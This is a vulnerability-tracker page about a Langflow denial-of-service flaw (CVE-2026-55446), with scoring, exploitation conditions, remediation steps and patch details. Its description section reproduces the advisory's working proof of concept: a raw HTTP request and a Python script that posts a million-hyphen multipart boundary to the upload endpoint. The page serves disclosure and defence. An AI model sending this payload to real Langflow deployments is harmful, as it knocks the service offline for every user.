Skip to main content

Langflow EUVDEUVD-2026-38515

| CVE-2026-55446 HIGH
Uncontrolled Resource Consumption (CWE-400)
2026-06-19 https://github.com/langflow-ai/langflow GHSA-qwqc-p3q8-wcg9
7.5
CVSS 3.1 · Vendor: https://github.com/langflow-ai/langflow
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify reachable Langflow instance
  2. Delivery
    Craft multipart POST with oversized hyphen boundary
  3. Exploit
    Send to /api/v1/files/upload/ unauthenticated
  4. Execution
    Worker stalls parsing malformed body
  5. Persist
    Repeat to sustain outage
  6. Impact
    Service unavailable to all users

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Resource consumption limits
MITRE ATT&CK

1 technique across 1 tactic: Impact

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

No special conditions - remote unauthenticated exploitation against default configurations of Langflow versions prior to 1.0.19 that expose /api/v1/files/upload/ over HTTP. The attacker needs only network reachability to the Langflow port (default 7860); no account, session token, cookie, or valid flow UUID is required because authentication and flow-ID validation occur after multipart parsing in the vulnerable handler. The only practical limiting factor is network exposure: deployments where the API is bound to localhost or restricted by an upstream proxy/firewall to authenticated users cannot be reached by external attackers.

Impact

The CVSS 3.1 vector AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (base 7.5) is consistent with the description: a single unauthenticated network request causes high availability impact with no confidentiality or integrity loss. No EPSS score or KEV listing was provided, and the issue is not in CISA KEV, so exploitation is not confirmed in the wild - but the bar is extremely low: the advisory ships a working Python PoC, the trigger is a one-shot HTTP POST, and any reachable Langflow instance below 1.0.19 is exposed regardless of flow IDs or accounts. Real-world priority depends on exposure: internet-facing or multi-tenant Langflow deployments should treat this as urgent because a single attacker can keep the service down indefinitely, while isolated developer instances behind authenticated network controls are materially lower risk. No conflicting signals were observed between CVSS, description, and patch diff.

Exploit ScenarioDerived

An attacker who can reach the Langflow HTTP port sends a single POST to /api/v1/files/upload/<anything> with a multipart body whose closing boundary is padded with ~1,000,000 hyphens, using the public PoC from the advisory verbatim. The FastAPI worker spins on multipart parsing and the application reports 'server is busy' to all users; the attacker simply repeats the request to keep the service down indefinitely.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 19, 2026

Unauthenticated denial-of-service in Langflow versions prior to 1.0.19 allows remote attackers to render the application unusable for all users indefinitely by sending a single crafted POST to /api/v1/files/upload/ with a malformed multipart boundary containing a very large run of hyphens. The upload endpoint processes the multipart body before performing authentication or flow-ID validation, so no token, cookie, or valid flow UUID is required. A public proof-of-concept is included in the GitHub Security Advisory GHSA-qwqc-p3q8-wcg9, though there is no public exploit identified beyond the PoC at time of analysis and the issue is not listed in CISA KEV.

RemediationAI

Vendor-released patch: upgrade Langflow to 1.0.19 or later, which introduces the check_boundary middleware and adds get_current_active_user plus a 403 flow-ownership check on /api/v1/files/upload/ (see https://github.com/langflow-ai/langflow/pull/3923 and advisory https://github.com/langflow-ai/langflow/security/advisories/GHSA-qwqc-p3q8-wcg9). If immediate upgrade is not possible, place Langflow behind a reverse proxy (nginx, Envoy, or a WAF) that rejects requests to /api/v1/files/upload/* when the Content-Type boundary parameter does not match ^[A-Za-z0-9_-]{1,70}$ or when the request body exceeds a tight size cap (a few MB), and require authenticated proxy access to the upload path - the trade-off is that legitimate large file uploads may be blocked by the size cap and any custom boundary characters used by non-browser clients will be rejected. Network-restricting the Langflow UI to trusted users until patching reduces blast radius but does not eliminate the DoS for any user who can reach the endpoint.

Affected VersionsENISA

langflow < 1.0.19

Affected Packages

pypi langflow fix: 1.0.19

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Langflow is a Python/FastAPI-based visual builder for LangChain-style LLM workflows (pkg:pip/langflow). The vulnerable code path is src/backend/base/langflow/api/v1/files.py at the upload_file handler, which delegates multipart parsing to FastAPI/Starlette before the route's dependencies enforce authentication. CWE-400 (Uncontrolled Resource Consumption) applies: the multipart parser walks an attacker-controlled boundary trailer (e.g. a million hyphens) using CPU/memory proportional to the payload, blocking the FastAPI event loop and starving the worker so the UI reports 'server is busy' to every user. The fix in PR #3923 adds a check_boundary HTTP middleware in main.py that validates the Content-Type and rejects boundaries that do not match ^[\w\-]{1,70}$ (per RFC 2046) with HTTP 422 before the body is parsed, and also wires get_current_active_user plus a flow-ownership check into the upload handler to close the unauthenticated and cross-tenant access vectors.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/langflow-ai/langflow) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
vuln.today AI 7.5 HIGH

Single unauthenticated HTTP POST over the network with no user interaction stalls the worker, yielding high availability impact only and no confidentiality or integrity loss.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/langflow-ai/langflow).

CVSS VectorVendor: https://github.com/langflow-ai/langflow

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

DescriptionCVE.org

Summary

An attacker can send a /api/v1/files/upload/ request without any authentication token/cookies and abuse a very long multipart form boundary to make the langflow app unusable for all users for an indefinite amount of time.

Details

https://github.com/langflow-ai/langflow/blob/v1.0.18/src/backend/base/langflow/api/v1/files.py#L40

The file upload function will try to process the multipart form data even if it is malformed and contains a payload such as an extremely large amount of hyphens after the boundary. It also does not do the authentication check before trying to process this data so an unauthenticated attacker can perform this as well as authenticated users.

Additionally, an attacker doesn't even need to know a valid UUID of a flow to send this request because the server will still try to process the large boundary even with any random value in place of the flow ID.

PoC

An attacker makes this request to upload a file without valid authentication information or a valid flow ID:

POST /api/v1/files/upload/test HTTP/1.1
Host: 127.0.0.1:7860
Content-Length: 3000192
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryorGBAKSkv5wR6WqJ
Accept: application/json, text/plain, */*
Origin: http://127.0.0.1:7860
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryorGBAKSkv5wR6WqJ
Content-Disposition: form-data; name="file"; filename="dos.txt"
Content-Type: text/plain

DoS in progress!

------WebKitFormBoundaryorGBAKSkv5wR6WqJ------------<insert a large amount of hyphens such as 1,000,000>

Here is the request in python:

python
import requests

url = "http://127.0.0.1:7860/api/v1/files/upload/test"

headers = {
    "Content-Type": "multipart/form-data; boundary=---------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ"
}

data = (
    "-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ\r\n"
    "Content-Disposition: form-data; name=\"file\"; filename=\"dos.txt\"\r\n"
    "Content-Type: text/plain\r\n\r\n"
    "DoS in progress\r\n"
    "-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ--" + '-' * 1000000 + "\r\n"
)

response = requests.post(url, headers=headers, data=data)

The app will then be stuck in the "server is busy" state for all users:

<img width="733" alt="image" src="https://github.com/user-attachments/assets/227169d8-f1b7-4072-8c09-e416e4808d05">

Impact

Sending this request will result in the server being unusable for all users for an infinite amount of time because the request can be repeated as much as you want.

Patches

Fixed in 1.0.19 via PR #3923. A check_boundary HTTP middleware was added that validates the multipart boundary (^[\w\-]{1,70}$) and rejects malformed requests - including the oversized-hyphen payload - with HTTP 422 before the body is parsed. The upload endpoint also gained an authentication and flow-ownership check (get_current_active_user + 403 on mismatch), closing the unauthenticated access vector. Upgrade to 1.0.19 or later.

Executive ViewAI

Why It Matters

Langflow versions prior to 1.0.19 contain an unauthenticated denial-of-service vulnerability (CVE-2026-55446, CVSS 7.5) with publicly available exploit code that allows attackers to render the application unavailable with a single request. Organizations using vulnerable versions face immediate risk of complete service disruption. Vendor patch to version 1.0.19 is available and should be deployed immediately.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.3%
Top 77% exploitable
Threat Intel
1
1 sources
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Malicious file upload attacks exploit insufficient validation when web applications accept user-provided files.

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy